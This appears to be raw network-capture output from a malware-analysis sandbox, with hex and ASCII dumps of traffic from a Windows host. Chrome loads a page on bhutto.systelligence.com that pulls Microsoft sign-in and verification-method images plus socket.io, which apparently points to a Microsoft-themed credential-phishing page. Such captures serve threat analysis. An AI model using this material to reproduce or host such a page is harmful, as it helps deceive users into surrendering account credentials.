2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 5c 78 32 30 63 6f 76 65 72 2c 5c 78 32 30 63 6f 76 65 72 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 6f 76 65 72 6c 61 79 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 70 6f 73 69 74 69 6f 6e 3a 5c 78 32 30 61 62 73 6f 6c 75 74 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7a 2d 69 6e 64 65 78 3a 5c 78 32 30 31 30 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 Data Ascii: 0\x20\x20background-size:\x20cover,\x20cover;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.overlay\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20position:\x20absolute;\x0a\x20\x20\x20\x20\x20\x20\x20\x20z-index:\x2010;\x0a\x20\x20\x20\x20\x20\x2
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 32 30 33 70 78 5c 78 32 30 72 67 62 28 30 5c 78 32 30 30 5c 78 32 30 30 5c 78 32 30 2f 5c 78 32 30 32 35 25 29 3b 5c 78 32 30 2a 2f 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7a 2d 69 6e 64 65 78 3a 5c 78 32 30 31 30 30 30 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6f 76 65 72 66 6c 6f 77 3a 5c 78 32 30 68 69 64 64 65 6e 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 67 72 61 79 42 6f 78 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: 203px\x20rgb(0\x200\x200\x20/\x2025%);\x20*/\x0a\x20\x20\x20\x20\x20\x20\x20\x20z-index:\x201000;\x0a\x20\x20\x20\x20\x20\x20\x20\x20overflow:\x20hidden;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.grayBox\x20{\x0a\x20\x20\x20\x20\x20\x20
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 77 69 64 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 6c 65 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6a 75 73 74 69 66 79 2d 69 74 65 6d 73 3a 5c 78 32 30 66 6c 65 78 2d 73 74 61 72 74 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 5c 78 32 30 30 25 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c Data Ascii: \x20\x20\x20\x20width:\x20100%;\x0a\x20\x20\x20\x20\x20\x20\x20\x20display:\x20flex;\x0a\x20\x20\x20\x20\x20\x20\x20\x20justify-items:\x20flex-start;\x0a\x20\x20\x20\x20\x20\x20\x20\x20padding-left:\x200%;\x0a\x20\x20\x20\x20\x20\x20\x20\x20background-col
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 74 6f 70 3a 5c 78 32 30 31 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 5c 78 32 30 31 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 78 2d 77 69 64 74 68 3a 5c 78 32 30 32 38 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 78 2d 68 65 69 67 68 74 3a 5c 78 32 30 34 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 Data Ascii: 0\x20\x20\x20margin-top:\x2010px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-bottom:\x2010px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20max-width:\x20280px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20max-height:\x2040px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:28 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:29 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:28 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7513f58e-b01e-005c-2901-2d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224728Z-16547b76f7fxsvjdhC1DFWprrs00000008t00000000029q8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49758	172.67.191.88	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:28 UTC	535	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 Host: bhutto.systelligence.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:29 UTC	904	IN	HTTP/1.1 302 Found Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Length: 0 Connection: close location: /cdn-cgi/challenge-platform/h/b/scripts/jsd/22755d9a86c9/main.js? cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=10800, public access-control-allow-origin: * Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FMPfKAeBZvx6gQzJme1xzt0XUrA6UtJwumn4l1vSE%2Bm%2Beg%2FBZVnFZDkoBbby65WhFpp3zeqyBuBguq%2BUREglLEO60ODxLF4f5mmkOQgLpP50oaD%2Bw3aiHesydTr3DCSc1cYmdrUGi9hok3Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd8678472e6d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1778&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1113&delivery_rate=1414062&cwnd=243&unsent_bytes=0&cid=b4dd08b50ce667b1&ts=148&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49754	13.107.246.45	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	662	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bhutto.systelligence.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:29 UTC	779	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: 79728d2d-301e-0063-66d3-2c6100000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241107T224729Z-16547b76f7frbg6bhC1DFWr54000000008r0000000009yf7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49751	13.107.246.45	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	682	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bhutto.systelligence.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:29 UTC	800	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 8b1aa717-f01e-0053-0341-30dfcf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241107T224729Z-15869dbbcc6m5ms4hC1DFWqm4w00000000r00000000018y3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49753	13.107.246.45	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	665	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bhutto.systelligence.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:29 UTC	805	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: ddcda72d-501e-002b-070b-2f439a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241107T224729Z-17df447cdb5t94hvhC1DFWw97800000005b0000000006wt8 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49757	13.107.246.45	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	660	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bhutto.systelligence.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:29 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: 63e5acef-701e-002c-699f-2e2ff9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241107T224729Z-16547b76f7fxdzxghC1DFWmf7n00000008wg00000000dqx4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49747	18.245.31.5	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	359	OUT	GET /4.7.5/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:29 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 49993 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Sat, 03 Aug 2024 07:26:50 GMT ETag: "777eb8fd4f8320b6e5cc9a7159bdec6a" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::4xmtd-1722670010047-e30d468233ba X-Cache: Hit from cloudfront Via: 1.1 1feab8d6a8e5cc920c359b62fd33d3de.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: ggObfYUjryxMTFNFW5Lw9PP4R9KS_EUP4Dvkd8RBigRNBk7UgrxPPA== Age: 8727040
2024-11-07 22:47:29 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 37 2e 35 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 34 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.7.5 * (c) 2014-2024 Guillermo Rauch * Released under the MIT License. */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof g
2024-11-07 22:47:29 UTC	16384	IN	Data Raw: 66 20 64 6f 63 75 6d 65 6e 74 29 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 74 74 61 63 68 45 76 65 6e 74 29 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 61 65 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 7b 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6f 6e 70 61 67 65 68 69 64 65 22 69 6e 20 49 3f 22 70 61 67 65 68 69 64 65 22 3a 22 75 6e 6c 6f 61 64 22 2c 61 65 2c 21 31 29 7d 66 75 6e 63 74 69 6f 6e 20 61 65 28 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 73 65 2e 72 65 71 75 65 73 74 73 29 73 65 2e 72 65 71 75 65 73 74 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 29 26 26 73 65 2e 72 65 71 75 Data Ascii: f document)if("function"==typeof attachEvent)attachEvent("onunload",ae);else if("function"==typeof addEventListener){addEventListener("onpagehide"in I?"pagehide":"unload",ae,!1)}function ae(){for(var e in se.requests)se.requests.hasOwnProperty(e)&&se.requ
2024-11-07 22:47:29 UTC	16384	IN	Data Raw: 74 61 20 77 68 65 6e 20 72 65 63 6f 6e 73 74 72 75 63 74 69 6e 67 20 61 20 70 61 63 6b 65 74 22 29 3b 76 61 72 20 6e 3d 28 74 3d 74 68 69 73 2e 64 65 63 6f 64 65 53 74 72 69 6e 67 28 65 29 29 2e 74 79 70 65 3d 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 45 56 45 4e 54 3b 6e 7c 7c 74 2e 74 79 70 65 3d 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 41 43 4b 3f 28 74 2e 74 79 70 65 3d 6e 3f 42 65 2e 45 56 45 4e 54 3a 42 65 2e 41 43 4b 2c 74 68 69 73 2e 72 65 63 6f 6e 73 74 72 75 63 74 6f 72 3d 6e 65 77 20 50 65 28 74 29 2c 30 3d 3d 3d 74 2e 61 74 74 61 63 68 6d 65 6e 74 73 26 26 70 28 73 28 69 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 65 6d 69 74 52 65 73 65 72 76 65 64 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 2c 